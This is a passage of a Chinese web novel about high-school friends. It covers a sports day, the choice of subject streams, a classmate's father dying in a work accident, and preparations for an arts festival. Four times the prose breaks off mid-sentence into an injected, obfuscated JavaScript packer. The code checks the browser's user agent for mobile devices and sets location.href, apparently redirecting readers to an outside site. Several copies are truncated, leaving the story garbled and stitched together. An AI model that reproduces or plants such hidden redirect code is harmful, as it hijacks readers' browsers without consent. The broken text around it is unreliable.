一道平淡的女声忽然从旁冒了出来。 众人惊讶之下，循声望去，意外发现声音的源头来自班长章楚楚。 “楚楚……”谢飞燕惊了。 宋西宝也惊得从凳子上站了起来：“那是1500米，不是150米班长！” “嗯，我知道。”章楚楚面色平静，甚至还微微笑了一下。 邱俊杰忽然扑过来一把抱住了她，紧接着就开始“号丧”：“呜呜班长！太感人了！你简直就是我的亲人呜呜呜呜！” 章楚楚差点被他吓死，还好魏勇已经走了，她连踢带踹地把邱俊杰推开，手慌乱地捋了捋头发，眼神顾左右而言他道：“不过先说好，我就是去凑数打酱油，你们可别指望我能拿什么名次回来。” 邱俊杰“嗯嗯嗯嗯”地使劲点着头。 今日天朗气清，惠风和畅，是个“赴死”的好日子。 章楚楚扎好头发站上跑道深呼吸一口气，随即低头苦笑了一声——她也说不上来自己为什么会站出来。 自从那一日后，一种怪妙的心情就围绕着她，那是一种不管她学了多少种修辞都无法准确描述的心动和怅然，她曾试图排解，但最终无计可施。 十六岁这年的夏天，她喜欢上了一个人。 突如其来的心动过后，一种深深的无奈和忧愁随即笼罩了她，她明白，在邱俊杰的人生剧本里，她不是他的女主角，她无法为他创造盛大灿烂的青春记忆，而他赠予她的，也注定只能是伤心和遗憾。 所以她想发泄。 是的。她站在这里，只为发泄。 她想体验一次精疲力尽的感觉。 发令枪响，章楚楚用最快的速度冲了出去。 邱俊杰在跑道外陪跑，用手捂着嘴吼得撕心裂肺：“班长！别跑太快了！慢一点！你现在跑太快了待会儿就只能走了！” 可惜章楚楚打定主意要执拗到底，一个字都没听进去他说的。 她闷头跑了一圈，到第二圈时，腿一软，差点摔倒，好险稳住了。但这一停下，她浑身就仿佛散架了一般，再也跑不起来了。 她哼哧哼哧喘着粗气，目光涣散，有气无力地小碎步跑着。 邱俊杰还在她身旁，给她递水，又问她还能不能坚持？ 章楚楚喉咙火烧火辣的说不出话，便只点头，意思自己还能坚持。 邱俊杰说：“班长，还有我呢！我陪你跑！” 章楚楚扭头看他，汗珠滴进了她眼里，她拿掉眼镜用手背抹了抹眼，然后朝邱俊杰笑了一下。 邱俊杰被她笑晃了神，才发现她眼睛还挺好看的，就在他愣神的间隙，章楚楚忽然又加速了，他赶紧跟上，热血沸腾地大吼道：“班长！冲啊！” 章楚楚：傻子。 最后一圈章楚楚差不多是走下来的 还好，不止她一个人在走，好几个女生最后都跑不动了，都是走到终点的。 章楚楚走到终点后直接身子一软摔了下去。 邱俊杰眼疾手快接住她，几个同学冲上来乱七八糟地喊着“班长”“楚楚”，大家七手八脚地把她抬到旁边草坪上，谢飞燕一边给她捏腿一边喊：“楚楚，不能躺下，你刚剧烈运动完，你得起来走几步！” 章楚楚睁眼又闭眼，两个耳朵都嗡嗡地，她一边喘气一边望着蓝天，感觉胸口疼得像是要裂开了一般，又忽然咧开嘴傻笑。 邱俊杰看眼谢飞燕，满头雾水道：“班长傻笑啥呢？不会是跑步跑傻了吧？” 话音刚落，一巴掌啪一声飞到了邱俊杰脸上。 少年捂着自己的右脸颊，呆了。 章楚楚噌地一下坐起来，瞪他：“说我什么坏话呢！” 最后成绩出来，章楚楚还拿了个顺数第十二名的成绩。 为期两天半的运动会好像未曾举行过一般很快结束了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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热腾腾的新书摆在面前，谁能忍住不看呢？ 于是谢飞燕就趁上课的时候偷偷把杂志垫在语文练习册下面看了起来。 当时她忙着看小说，宋西宝也忙着神游天外，两姐妹一个望风的都没有，结果就导致谢飞燕水灵灵地被老邓抓了个现行。 那天刚巧还赶上老邓心情不好——搁以前，这种事老邓要么睁一只眼闭一只眼就过去了，要么顶多没收书也就完了，但那天，老邓不仅当场没收了她的书，还课也不上了，叫上她去办公室当着魏勇的面告了她一状。 谢飞燕其实是有点胆小的，被老邓这么一弄，早就吓yue了，一到办公室魏勇还没说话就哭了。 后续谢飞燕本来以为魏勇会狠狠地批评她一顿外加通知她家长，但魏勇不仅没有批评她，还一直帮她在老邓面前说好话，说什么爱看书是好事，还拿他自己举例，说他年轻当学生那会儿也喜欢看课外书，什么书都看。 最后下课了，他甚至还从老邓那儿帮她把杂志要了回来还给了她。 谢飞燕着实没想到事情的发展会如此峰回路转，大概是太震惊，魏勇把杂志递给她的时候，她都没敢接，还打了个哭嗝。 最后魏勇让她走的时候，谢飞燕实在没忍住，问了一句：“魏老师，你不批评我吗？” 魏勇就笑，语气很轻松地同她说：“你不是已经很愧疚了吗？” 谢飞燕听了他这句话，好不容易止住的眼泪，差点又涌了出来。 是啊，她已经很愧疚了。 邓老师生了好大的气，他从来没生过这么大的气，就因为抓到她上课看课外书，他气得连课都不想上了。 都怪她，耽误了同学们上课，早知道邓老师会这么生气，她就忍一下不在课上看杂志了。 几人回忆起这事，都很唏嘘。 章楚楚抓到一个重点，问：“诶，你们说老魏说他当学生的时候什么书都看，那他……”她声音陡然降低下来，捂着嘴凑近另外两人道，“看不看小黄书啊？” 三姐妹捂着嘴笑得花枝乱颤，分科的话题就这么被带跑偏了。 53. 八卦 当天晚上，宋西宝把分科表拿回家跟爸妈说了高二分科的事。 按谭淑媛的心意当然是想她选理科，但是谭淑媛自己也清楚闺女的学习情况——数理化这三科，她是学一科恨一科，让她报理科，等同于逼她厌学，不现实。 夫妻俩为了女儿分科的事一直琢磨到后半夜卧室灯都没熄，最后宋卫国从床上起来，打开衣柜拉开最里面的抽屉，从中取出一个文件袋，然后又从文件袋里取出一张折的四四方方的纸递给妻子道：“喏。” 谭淑媛一看他翻文件袋就知道他要找什么——从小到大，闺女给他俩写过的信和各种留言小纸条，全在这个文件袋里，都被宋卫国细心保存了起来。 宋卫国重新进了被窝，揽着妻子肩膀一同看向那封信道：“其实我觉得宝宝选文科未必就不好，她从小就爱看书，又擅长表达自己，我觉得她挺适合学文的，将来毕业了当个老师或者是作家都可以啊！” 谭淑媛斜他一眼，瘪着嘴笑道：“她爱看书……她天天看的什么书你不知道啊？还当作家，作家那么好当啊？那人家那些大作家能一天到晚坐在书桌前不挪屁股，你闺女行吗？十分钟都坐不住！” 宋卫国争不赢她，干脆闭了嘴看信——信纸已有些发黄，折痕日深，岁月的踪影跃然纸上。 谭淑媛也在看信，看着看着，忽然笑了起来。 她眼睛往上瞧，脸上现出回忆的神色道：“她写这封信的时候才八岁不到吧？那会儿好像我们才刚搬进来，铺子都还在装修，咱俩天天把她关屋里不让她出去，她生气了，就给我们写了个这，”她摇头笑起来，“这丫头从小就鬼精鬼精的。” 宋卫国也笑，跟着感叹道：“是啊，时间过得太快了，一转眼，宝宝都读高中了。” 谭淑媛叹了口气，身子下意识往丈夫身边靠了靠，语气里透着怀念道：“孩子大了，咱俩也老了——”忽然直起身来，扭头看向男人道，“你看我是不是老了？前阵子晓琴都说我有白头发了，吓得我立马让她给我扯了！唉，我这脸上皱纹也越来越多了，感觉皮肤松垮垮的，都不紧了！” 宋卫国哈哈地笑，谭淑媛嗔怒地拍了他一记，说：“你笑什么笑！你还不是老了！” “对呀！我老了呀！”宋卫国将人扯回怀里圈着，语气悠悠道，“老夫老妻，老夫老妻呀！” 谭淑媛给了他一倒拐，又没忍住笑了，而后陷入了失神—— 时间过得真快啊！她有时候都觉得自己好像才刚跟宋卫国结婚，刚生女儿呢，怎么一转眼，她都老了，女儿都快满十六了…… 谭淑媛低头看了眼自己的手，都说手是女人的第二张脸，她的脸老了，手也老了。 忽然，另一只手覆了上来。 宋卫国与妻子十指相叠，大手包住小手，下巴埋进谭淑媛颈窝道：“老婆，这些年跟着我，你受苦了。” 谭淑媛咧嘴笑了声，空出来的那只手摸了摸男人的脸说：“卫国，咱家这日子过得挺好的，我很知足，没觉得苦。” 她说完忽然又想到什么，指挥宋卫国去把抽屉里的存折拿出来。 “你看！”谭淑媛接过存折打开给他看，眼里满怀着憧憬与希望道，“咱们再辛苦两年，买虹岸那边的房子差不多就够了，宝宝不是一直想要个大书房嘛，她那些书多得都只能往床底下塞了，到时候咱们就专门给她弄个房间当书房！” 宋卫国看着存折上的数字，想到多年努力付出即将迎来收获，握着妻子的手同样是目露憧憬：“快了，快了……” 最后，经过家里人的一致协商，宋西宝选择了读文科，而程书逸、周笃文还有方思彤都选了理科。 周天返校后，章楚楚又告诉了她们一个新的噩耗，这个噩耗也是她去办公室交东西的时候意外偷听到的，说是高二文理分科是按成绩来分班的，虽然十四班是文科班，但是并不能确定什么成绩段的人能留在这个班上。 “啊？”谢飞燕听完感觉天都塌了，“我还以为只要选了文科就能留在本班了，那万一我被分出去了怎么办？我不想去别的班啊！” 宋西宝灵机一动，说：“没事小燕，咱俩成绩差不了多少，就算分出去，肯定也在一起！” 谢飞燕刚得到一点安慰，但紧跟着就意识到了不对，两人齐看向章楚楚—— 章楚楚说：“没事，分班不分心，就算我被分去别班了，咱们三个还是好朋友啊！咱们不是约好了吗，要一起看一辈子的小说！” “嗯！”宋西宝和谢飞燕一起点了头。 很快，一中和八中那边也开始分科了。 八中还好，跟四中一样是学生自主选择文理科，而一中则是根据学生各科成绩，以班主任的意见作为主导来指引学生半自主选科。 蒋博光因为不想背东西，也硬着头皮选了理科，而季苒，直接被她们班主任划去了文科班。 期末考试结束后，文学社择期安排召开了换届会。 宋西宝提前精心准备了一番，想要竞聘社长的位置，她本来以为竞争会很激烈，结果开换届会那天社员人都没到齐——没来的几个有的说家长给报了补习班已经开始补课了，有的说放假出远门了回不来，还有的没有理由，干脆就是没来。 最后上台竞聘的就只有五个人，差不多是一个萝卜一个坑，唯一出现竞争的就是广播部部长的岗位——曾跃和另外一个女生都想当广播部部长，最后经过调解，那个女生如愿当了部长，曾跃则当了副社长。 而宋西宝作为唯一一个竞聘社长的人，也是心想事成，如愿当上了文学社社长。 散会的时候，她同曾跃说：“我怎么感觉咱们这社团换届跟过家家一样？” 曾跃耸耸肩，回答：“反正大家都说文学社一届不如一届了。” 刚刚宣布上任的宋社长：“……” 与文学社同步进行换届的，还有学生会。 社联部部长李欢本来属意吴静初接她的班，哪想人家有更高的目标，直接去竞聘学生会副会长了——四中学生会没有会长一说，最高职位就是副会长。 “然后呢？她选上没有？”宋西宝问。 程书逸嗯一声，说：“选上了，去年学生会还有两位副会长，今年就只有一位了，就她一个人。” 宋西宝闻言，舔了口冰淇淋感慨道：“看来你们学生会也是一届不如一届啊……” 程书逸：“……” “那社联部的新部长是谁？”宋西宝又问。 程书逸拿着甜筒阴恻恻地看着她笑了下，宋西宝反应过来，当场傻掉，手指着他喊道：“你不是说你天天忙竞赛要退出学生会今天来就是走个过场吗？你骗我！” “就骗你。” 程书逸声音轻轻柔柔的，表情莫名还有点娇俏？宋西宝心里混乱了两秒，甩甩头，喊打喊杀地朝他扑了过去。 傍晚的火烧云红彤彤一片像是点燃了半边天，湿热的夏日傍晚，少男少女一路嬉笑打闹着跑远，校门口奶茶店店主手撑着吧台望向两人跑远的背影，万千感慨也只化为了五个字：青春无敌啊。 暑假，宋西宝邀请上方思彤和季苒同她一起回了老家新阳玩。 方思彤和季苒打小都在城市里生活，对农村也只是听说而已，两人一进村，看啥都好奇，宋西宝带着她俩疯玩了小半个月，三人一个晒得比一个黑。 这天晚上，她们仨笑嘻嘻头挨着头挤在一起拍了张大头照发在群里，很快，群里另外仨人回复了，一水复制粘贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118083|159763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的哀怨语气—— 【心碎?了無佷：不带我玩，恨你们】 【师爷：不带我玩，恨你们】 【阿饼：不带我玩，恨你们】 【最近爱吃炸土豆：下次，这次女生专属。】 她们坐在屋顶上晒月亮聊天，耳边安静的除了虫鸣声就只有她们自己的声音。 中间奶奶从厨房里出来，站在院子里喊，让西宝下来端切好的西瓜。 宋西宝答应一声，飞快地顺着梯子从屋顶溜了下来。 西瓜是放在水缸里冰了一下午的，西宝先吃了一块，冰冰凉的西瓜汁液瞬间驱退了她身上的燥热，她瞪大眼睛看奶奶，惊呼：“好甜啊奶奶！” 隋玉棠就笑，招呼她端去给两个朋友也尝一尝。 宋西宝端着瓜又飞快上了房顶，季苒总担心她会摔，自己恐高还颤颤巍巍起身想去接她。 她俩尝了瓜后同样很惊讶，方思彤问：“老大，这瓜怎么这么甜？” 宋西宝笑呵呵说：“是吧？我也感觉好久没吃过这么甜的瓜了，真正的西瓜味！” 季苒在旁边噗嗤笑出声，宋西宝不解地看她，结果她越笑越起劲，最后甚至笑得捂着肚子喊哎哟。 “笑什么啊？”宋西宝佯怒地瞪她一眼。 季苒已经笑得眼泪都出来了，她好不容易才止住笑，抹掉眼泪说：“‘西瓜味’哈哈哈哈哈哈哈……” 又笑上了。 “季苒的笑点一向奇奇怪怪的，老大你让让她吧。”方思彤安慰她。 这天晚上，她们聊了很多女生之间的话题，包括季苒去年平安夜提起过的那个喜欢的人。 听到季苒说她已经不喜欢那个人了，宋西宝显得有些惊讶：“你这保质期也太短了吧？” 季苒羞恼拍她，说：“我才没有呢！” 宋西宝故意说：“看不出来啊季苒，初中那会儿还天天管我学习呢！现在成天脑子里就想着早恋，季老师……你怎么回事啊？” 季苒被她调侃得小脸通红，羞恼得不行：“一直说我，你们俩呢？我不信你俩一点情况都没有。” 方思彤摇头，说她是真没有，她看班上那些男生除了觉得烦，就是觉得蠢。 宋西宝哈哈大笑，忽然想起周笃文跟她一个班，便问：“那师爷呢？他在哪一列里？” 方思彤思忖片刻，最后说：“我没把他当男的。” 宋西宝直接一个爆笑，非说要让她再说一遍，她拿手机录下来给师爷听。 季苒又追问宋西宝：“那你呢？” 宋西宝指指自己：“我？我也没情况呀！” 季苒揶揄问：“那个邱俊杰后来没再跟你凑近乎了吗？” 宋西宝摇头，眼神纯洁道：“我俩现在纯朋友，真的，上次去给他过生日，他说他以后把我当兄弟。” “噗。” 三人静了会儿，宋西宝忽然开口说：“其实也不是完全没情况……” “我就知道！”季苒显得很激动，拉着她眼睛亮晶晶道，“你快说你快说，是不是那个徐嘉树？就你们文学社那个社长？上次我听彤彤跟我提了一下，我早就想问你了！你俩到底咋回事啊？” 宋西宝不自在地把徐嘉树跟她之间的来往大概说了一下，过程中季苒就已经开始忍不住捂着嘴笑了。 “有没有照片啊？”季苒问。 宋西宝摸出手机，点进空间找了一下社团的合照，然后递给季苒看道：“你猜哪个是他？应该挺好猜的。” 果然，季苒一下就挑中了，她手指着照片上的一个人问：“这个？” “嗯。”宋西宝点了下头。 季苒难掩笑意，赞叹道：“很帅啊，这你都不动心吗？” 54. 厄运 宋西宝摇头，她对徐嘉树还真没起过男女方面的心思。 他俩刚认识的时候，她承认，自己确实因为徐嘉树的外貌和气质，对他产生了一点类似学妹对学长的崇拜之情。 但显然，这份崇拜之情还没来得及发展出点什么，就被程书逸给掐死了。 宋西宝至今没找到机会验证程书逸当初对徐嘉树是个“两面派”的指控是否真实？ 但她跟徐嘉树接触下来，确实觉得徐嘉树这人气质有点……怎么说呢？ 奇怪。 具体奇怪在哪儿她说不太上来，反正就觉得他忽远忽近的，一会儿春风和煦，一会儿阴沉忧郁。 宋西宝觉得，徐嘉树真实的样子可能并不像他表现出来的那么简单纯粹，有时候她看他笑，都不确定他笑是因为他真的想笑还是只是在假装。 她不是很喜欢跟无法确定真心的人在一起玩，她已经不是小孩子了。 程书逸总说她对谁都热情，是，她承认她的性格确实会有些自来熟，但她交朋友也是会筛选的，才不是像他想的那么无脑。 这一年暑假，摸着夏天的尾巴，宋西宝迎来了十六岁生日。 她过生日这天，几人又相约一起去了KTV。 宋西宝对上次程书逸过生日在KTV发生的事心有余悸，提前嘱咐众人，今天谁都不准哭！ 然而，不知道是命运早就布下了诅咒，还是她乌鸦嘴，这天稍晚些时候，蒋博光正在跟宋西宝抢话筒，忽然接到了一通电话。 蒋博光看眼手机，不甘心地松了手说：“我出去接个电话，你把《死了都要爱》再给我点一遍，置顶啊！” 宋西宝朝他“略略”地吐舌头，美滋滋地独占话筒跟着伴奏唱了起来。 大家都以为蒋博光打完电话很快就会回来，但直到大半个小时后，服务员来提醒他们时间快到了，众人这才反应过来，蒋博光还没回来。 “打通了吗？”季苒着急问。 宋西宝面色凝重地摇头，又重新拨了一遍蒋博光的电话号码。 晚八点，城市华光初上，大街上车如流水，他们五个人站在KTV门口给失踪了的蒋博光打电话，但怎么打都没人接。 程书逸看眼时间，说：“没准他有什么事先回去了，要不我们先回去吧，去他家看看。” 周笃文点头，忙跑到街边去拦车。 他们五个人打了两辆的士，车子刚发动，蒋博光的电话就回过来了。 手机刚一响，宋西宝就忙不迭地接了起来，然后对着手机噼里啪啦一通问，问完发现电话那头没人说话，宋西宝和方思彤季苒对视一眼，心里涌起一阵不安。 “博哥？”宋西宝拿下手机按了免提，喊了一声。 电话那头喘气的声音重了些，听着越发不对。 季苒又喊了一声：“蒋博光，你怎么了？你人在哪儿啊？” 电话那头哇地传来一声大哭，三女生心头一惊，前排司机也抬头从后视镜里看了她们一眼。 宋西宝心一下揪了起来，只听蒋博光边哭边说道：“我爸他……他出事了……” …… 蒋博光爸爸在工地上出了事，具体是怎么出的事还不清楚，蒋博光接到他妈妈电话的时候，女人声音抖得一句利索话都说不出来，哭得撕心裂肺的，最后还是一旁跟着把蒋父送急救的工友接过电话跟他说清楚了，说他爸扎钢筋的时候从二楼楼板边边上摔下来了，现在正在医院抢救。 蒋博光在电话里哭得泣不成声，说他刚回家收拾了点东西，准备去火车站买票连夜赶去爸妈所在的阳城。 他又说自己不敢把这事告诉奶奶，怕奶奶急出点什么事，但是他们家存折都是奶奶管着的，他要不说又拿不到钱，他自己身上钱不够买车票。 “博哥，博哥你别急，我们现在已经在回来的路上了，马上就到小区！”宋西宝镇定道，“你先去老地方等我们，钱的事我们会给你想办法的，你别急。” 蒋博光听了这话，在电话那头又是一阵痛哭。 季苒眼窝浅，也跟着红了眼睛。 说话间，两辆车一前一后拐过路口就到了梧桐苑。 方思彤负责掏钱付了车费，宋西宝和季苒急吼吼下车叫住了刚从前车上下来的程书逸和周笃文。 宋西宝把事匆匆同二人说了，周笃文反应很快，当即便说：“我去麻将馆找我妈拿钱！”又问，“需要多少钱啊？” 宋西宝说：“博哥想坐火车过去，但是我觉得火车太慢了，从我们这儿到阳城，火车起码要坐十几个小时吧？” 她话音刚落，一旁的程书逸已经查到了，说：“最近一班火车是晚上11:25出发，不过这趟车不是直达车，要坐直达车的话得等到明早六点多，最快也要十五个半小时。” 方思彤说：“咱们直接凑钱给他买张飞机票吧。” 季苒也点头同意，还说：“我那儿还攒了五百块钱没用，我马上回家去拿！” 程书逸又查了下最近飞往阳城的飞机班次，凌晨以前还有四趟飞机班次，机票价格区间在八百到一千出头。 五个人在一起算了算钱，发现差不多能凑个小一千。 “穷家富路，咱们还是多给博哥凑点钱吧，万一路上要用。”周笃文说，“你们先进去找他，我去趟麻将馆，很快就回来。” 这会儿没什么出租车路过，还好那会儿方思彤留了个心眼，多给了司机一点钱让他等一下。 周笃文走后，余下四人站在一起，半天都没人吭声。 最后还是程书逸率先开口，说：“走吧，我们进去。” 四人一进小区，远远地就看见大梧桐树下坐着个人，垂着头一副丧气模样。 季苒同另外三人说：“你们先过去，我回去拿完钱就过来。” “嗯。”宋西宝点点头。 蒋博光坐在树下等了有一会儿了，他听见脚步声，抬头往前看了一眼，宋西宝注意到他双眼通红，脸上还有未干的泪痕。 明明一个小时前他们还聚在一起K歌，大家都玩得那么开心，谁知道眨眼之间厄运就找上门来了，给了他们这么一个晴天霹雳。 宋西宝在心里自责自己真是乌鸦嘴，她又扭头看了眼身旁的程书逸，也许此时此刻，只有程书逸才懂蒋博光是何种心情。 宋西宝把他们打算凑钱给他买机票的事跟蒋博光说了，蒋博光怔怔的，隔了好一会儿才沙哑着开口说了声谢谢，又笑容惨淡道：“这还是我第一回坐飞机呢，会不会很麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他抬手抹了抹酸涩发胀的眼睛，重重“嗯”了一声。 急公好义的李萍女士听儿子说明了要钱的原因后，很大方地赞助了他两千块钱人民币，再加上其余几人七七八八凑起来的钱，差不多有个小三千的样子。 蒋博光没有拒绝大家的好意，收下了这笔钱。 周笃文听说方思彤要陪蒋博光一起去机场，担心返程她一个女孩坐车不安全，便提出跟她同去。 这天晚上，他们几个一直没睡觉，就在群里有一搭没一搭地聊天，一直等到凌晨蒋博光平安落地阳城机场，在群里报了平安后，几人才放下手机安心合眼。 宋西宝心里挂着事，这一晚上睡得并不安稳，梦做了一个又一个，早上她大汗淋漓地醒来，第一个动作就是去拿手机，在群里艾特蒋博光，问他爸爸怎么样了？ 其余几人大概同样也没睡好，因为宋西宝的消息几乎是刚一发出去，大家就在下面陆陆续续回复了。 只是没看到蒋博光回复。 他们再次收到蒋博光消息已经是三天后的下午，蒋博光在群里说他跟他妈带着他爸的骨灰准备坐火车回来了。 55. 成长 对于他们六个人而言，这个夏天注定是要以残酷的姿态，永远地留在他们的群体记忆之中了。 9月2号，开学前一天，宋西宝随同父母一起，人生第二次参加了朋友父亲的葬礼。 蒋父的葬礼被安排在小区11栋背后的空地上举行，负责丧葬事宜的工作人员在空地上搭起了黄色帐篷。 帐篷里面布置了灵堂，还摆了吃席用的桌椅板凳，白色花圈紧挨着帐篷摆了一长溜。 蒋博光奶奶刘老太在迎回儿子骨灰的当日就病倒了，几个孩子听说以后，回家把情况跟家里的大人们一说，第二日大人们便登门去帮忙了。 蒋博光心里很感激朋友们的所作所为，却又不会表达，最后便又哭了鼻子。 宋西宝就笑他，说他小时候就爱哭，怎么长大了还这么爱哭？ 蒋博光也笑，抹抹眼睛说：“以后不哭了。” 他说到做到，此后多年，宋西宝再也没见他哭过。 也算是不幸中的万幸吧，蒋父遭遇的这起工地事故因为被阳城晚报的一个记者写出来登在了报纸上，所以赔偿过程走得异常顺利，也没打官司，最后拿了七位数出头的赔偿款。 当然，这都是后话了。 开学后，分班表出来，宋西宝和谢飞燕如愿留在了十四班，而章楚楚则被分去了文科重点班十八班。 唯一值得庆幸的是，两个班在同一楼层。 升入高二后，宋西宝因为多了一个文学社社长的身份，忽然变得异常忙碌。 比如她需要提前到校参加校团委学生会组织的“社团招新筹备会”。 再比如她和校团委老师们打交道的次数突然变得多了起来，常常需要完成老师们临时交代的各种稀奇古怪的任务。 筹备会上，看着吴静初和程书逸轮流在台上讲话时，宋西宝心里忽然生出一种奇怪的感觉，好像他们这群人忽然之间就变得不一样了。 因为头顶社长、部长、副会长的头衔，他们看上去像是拥有了某种权力，而这种身份的转变让她隐约有种大家好像都变得更成熟了的感觉。 尤其是在碰到有新生叫她学姐，以及社团内部管理层来询问她意见的时候，这种感觉就更为明显——她好像不再是一个纯粹的学生，她好像……摸到了一点成人世界的门槛。 招新会上，宋西宝看着那些身穿迷彩服个个惊喜兴奋的脸庞，想起去年自己正是这些人中的一员，不得不说，心情还是有点怪妙的。 时间的流逝在一瞬间变得具象起来。 文学社招新按规矩需要进行面试，宋西宝不愿意依葫芦画瓢把前人的经验直接拿过来用，便特地请了假，拉上社团几个管理层一起开了会，大家集思广益另想了一些新的面试问题。 但面试当天，宋西宝坐在台下对讲台上的面试者提问时，还是避不可免地出现了心虚的感觉。 事后她给程书逸发消息吐槽，说感觉大家都是草台班子，扯着学生会、社团的虎皮拉大旗。 程书逸并没有反驳她的感受，只是回她：慢慢来，做得多就有经验了。 升入高二后，几人中变化最大的就要属蒋博光了。 以前一到放假，他不是去网吧就是约人去技校打球；而现在，他要么是往医院跑，要么就是往他妈妈店里跑，去帮忙。 哦对，忘了说，蒋母受到宋西宝爸妈的启发，也在市场附近租了个小铺，开了家面馆。 租铺子开面馆的钱用的是蒋父的赔偿款，刘老太起先听了这事是一百个不答应，还指天骂地地大骂蒋母是个黑心肠的，盼着她儿子死了就想独吞她儿子的买命钱。 老太太话骂得脏，蒋母默默受着没吭声，最后还是蒋博光成天往医院跑，给他奶奶吹耳边风，软硬兼施地帮他妈把这事给办了下来。 命运将苦难加诸他身，但他却没有被苦难压倒，反而挺直脊梁，给了命运一个冷眼。 宋西宝在听老妈说起这些事的时候，心里想的却是另外一个问题—— 从前，她总盼望着长大，总觉得很多问题等长大了就好了，长大了就更自由，更能自己做主。 当然，她现在还是这么想，但是她开始忍不住怀疑自己是否把“长大”这件事想的太乐观了。 长大也许并不总是伴随着欢乐，像蒋博光和程书逸，他们都是经历了非常难非常可怕的事才获得了成长。 宋西宝忽然有点怕，怕自己在成长的过程中会失去一些很重要的东西。 这一年的新年，蒋家没有贴对联福字，家里冷冷清清的，除夕夜都是在医院过的，因为刘老太病危了。 万幸最后人抢救回来了，不过医生私底下也跟家属说了，让他们别抱太大期望，人能撑过开春都算好的。 刘老太人虽然老了，但脑子还没糊涂，大概是知道自己大限将至了，她开始絮絮叨叨地同蒋母交代起后事来，还非闹着让蒋母给她写了张保证书，保证在孙儿蒋博光成家以前，绝不改嫁。 她提的这些要求，不管合不合理，没人跟她争执，全都依了她。 大家都以为老太太至少还能看一眼新年的春天，却没想到，还没等到开春，就元宵节刚过完第二天，刘老太就睁着眼去了。 据说老太太临死前干枯的手直直地朝前伸着，五指成爪，双眼瞪着虚空，就像是想抓住什么东西似的，但忽然间手就掉了下去，然后彻底没了呼吸。 死不瞑目。 小伙伴们都很担心蒋博光，怕他接二连三地遭遇亲人离世的打击，心理上会承受不住，但出人意料地，蒋博光并没有崩溃。 反而是蒋母在老太太葬礼上哭得伤心欲绝，而蒋博光则承担起了大人的角色，负责迎来送往，打点葬礼上的大小事宜。 至此，从前那个爱哭爱笑，总喜欢和朋友们斗嘴打跳的蒋博光彻底消失了，取而代之地，是一个更为沉默的少年形象。 高二下期开学后，四中开始有传言说学校换校长了。 这个传言很快在开学典礼上得到了印证——确实是换校长了，新来的校长跟宋西宝她们班班主任一个姓，也姓魏，据说之前在市一中当副校长。 新来的魏校长似乎打算走亲民路线，一上来就宣布说今年要举办四中的首届艺术节晚会，时间就定在运动会结束当天下午。 两个大型活动一起搞，可想而知到时候会有多热闹。 台下学生们欢呼声震天，掌声雷动更是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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像这些事，老妈总是听过就忘，回头她但凡有一次考试没考好，老妈就记不起来这些事了，记起的全是她这次没考好，那次也没考好。 宋西宝发了一堆消息出去后，成功地把自己给说郁闷了。 程书逸不知道是嫌她烦还是怎么，也没再回她消息。 新官上任三把火，魏校长对于自己上任后宣布的第一个大型活动的进展十分关注，提前一个半月就把所有老师召集起来开会了，要求除高三年级外，高一高二各班都要出节目然后由负责晚会的导演老师来进行节目筛选。 老师们开完会，紧跟着校团委的老师又把学生干部们以及三大社的社长们召集起来开了个会。 会议内容倒是不复杂，简单来说，就是三大社都要出节目参与筛选，然后学生会的负责充台面和当苦力。 为了把艺术节办得红红火火，这次晚会的主持人人选都增加到了四个。 除了吴静初和程书逸这对老搭档，还启用了两个高一的新生，相貌上也是一等一的出众。 宋西宝开完会直打脑壳——这种晚会，街舞社和音乐社要出节目很简单，但她们文学社能出什么节目呢？难不成搞集体诗朗诵吗？那未免也太扫兴了吧。 56. 节目 高一高二各班级内部也为了艺术节的事吵开了锅。 徐洋洋分科过后仍旧留在了十四班，也仍旧继续担任文艺委员一职，像艺术节这种活动，她自然是当仁不让组织了起来。 魏勇也乐得放权让他们自己去商量，他甚至还大方地拿了一节晚自习出来让大家集体投票决定表演什么节目。 班会上大家七嘴八舌，说什么的都有，徐洋洋把大家提到最多的几个节目一一列在黑板上，然后让大家投票。 投票结果很快出来了——舞蹈和歌唱类节目都被pass了，得票数最高的是语言类节目和乐器演奏类这两项。 “咱班有人会什么乐器吗？”魏勇坐在台下问。 徐洋洋第一个站了出来，说她学过小提琴。不过太难的曲目估计够呛，但随便拉首简单的应该没问题。 “其余同学呢？”魏勇又问。 这次等了半天，才有人举手说：“老师我会吹笛子。” 魏勇点头，说：“两种乐器了，还有吗？” 没人吭声了。 魏勇想了一下，说：“节目排了不一定能上，学校还要筛选，如果你们不介意的话，咱们其实可以语言类和乐器演奏类两个节目都准备上，这样被选上的概率会大一点，只是可能会有点委屈节目被筛掉的同学。” 徐洋洋听他这么说，立马说：“没事魏老师，我不介意，我也觉得咱们多准备一个节目比较好。” 台下刚举手说会吹笛子的那个男生也表达了跟徐洋洋同样的意思。 魏勇目光赞许地朝徐洋洋点了点头，又问大家：“那语言类节目的具体内容呢？是说相声？还是演小品？还是打快板？咱班有没有这方面的人才？” 